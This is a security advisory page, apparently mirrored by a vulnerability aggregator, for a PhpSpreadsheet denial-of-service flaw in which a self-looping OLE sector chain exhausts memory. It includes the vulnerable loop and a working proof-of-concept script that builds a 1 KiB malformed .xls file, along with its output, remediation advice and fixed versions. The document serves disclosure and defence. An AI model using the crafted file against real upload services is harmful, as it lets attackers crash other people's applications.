Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-xh5m-36r6-47m3

Опубликовано: 23 июл. 2026
Источник: github
Github: Прошло ревью
CVSS3: 7.5

Описание

PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion

Summary

PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.

This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.

Vulnerability details

OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:

  • src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.
  • src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.
  • src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.

The vulnerable loop is:

$sbdBlock = $this->sbdStartBlock; $this->smallBlockChain = ''; while ($sbdBlock != -2) { $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE; $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs); $pos += 4 * $bbs; $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4); }

There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.

The issue is reachable during normal reader detection/loading:

  • src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().
  • src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().
  • src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.

Similar unbounded sector-chain walks exist later in stream reading:

  • src/PhpSpreadsheet/Shared/OLERead.php:175-180
  • src/PhpSpreadsheet/Shared/OLERead.php:198-202
  • src/PhpSpreadsheet/Shared/OLERead.php:218-222

The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.

Impact

A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.

The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.

docker run --rm --network none -i \ -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \ -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH' set -eu php -r ' $data = str_repeat("\0", 1024); $set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); }; $set(0, hex2bin("D0CF11E0A1B11AE1")); $set(28, "\xfe\xff"); $set(30, pack("v", 9)); // sector size 512 $set(32, pack("v", 6)); // mini sector size 64 $set(44, pack("l", 1)); // 1 SAT sector $set(48, pack("l", 0)); // directory first sector 0 $set(56, pack("l", 4096)); // mini stream cutoff $set(60, pack("l", 0)); // SSAT first sector 0 $set(64, pack("l", 1)); // one SSAT sector $set(68, pack("l", -2)); // no MSAT extension $set(72, pack("l", 0)); // no extension sectors $set(76, pack("l", 0)); // DIFAT says SAT is sector 0 $set(512, pack("l", 0)); // SAT entry for sector 0 points to itself file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data); printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls")); ' php -d memory_limit=64M -d display_errors=1 -r ' require "/app/vendor/autoload.php"; $r = new PhpOffice\PhpSpreadsheet\Reader\Xls(); var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls")); ' 2>&1 || true SH

Observed output:

ole_size=1024 PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143 PHP Stack trace: PHP 1. {main}() Command line code:0 PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4 PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164

Suggested remediation

  • Validate every OLE sector-chain walk with:
    • a visited-sector set to reject cycles;
    • maximum chain length based on file size and sector size;
    • bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain;
    • rejection of negative sector IDs other than the documented end-of-chain marker.
  • Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains.
  • Apply the same guarded chain-walk helper to:
    • small-block depot chain construction;
    • small-block stream extraction;
    • big-block stream extraction;
    • readData().
  • Add regression tests with self-looping and out-of-range SAT/SSAT chains.

Пакеты

Наименование

phpoffice/phpspreadsheet

composer
Затронутые версииВерсия исправления

>= 4.0.0, <= 5.8.0

5.8.1

Наименование

phpoffice/phpspreadsheet

composer
Затронутые версииВерсия исправления

>= 3.3.0, <= 3.10.6

3.10.7

Наименование

phpoffice/phpspreadsheet

composer
Затронутые версииВерсия исправления

>= 2.2.0, <= 2.4.6

2.4.7

Наименование

phpoffice/phpspreadsheet

composer
Затронутые версииВерсия исправления

>= 2.0.0, <= 2.1.17

2.1.18

Наименование

phpoffice/phpspreadsheet

composer
Затронутые версииВерсия исправления

<= 1.30.5

1.30.6

7.5 High

CVSS3

Дефекты

CWE-400
CWE-835

Связанные уязвимости

CVSS3: 7.5
nvd
3 дня назад

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory. This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.

CVSS3: 7.5
fstec
19 дней назад

Уязвимость функции OLERead::read() сценария src/PhpSpreadsheet/Shared/OLERead.php PHP-библиотеки PhpSpreadsheet, позволяющая нарушителю вызвать отказ в обслуживании

7.5 High

CVSS3

Дефекты

CWE-400
CWE-835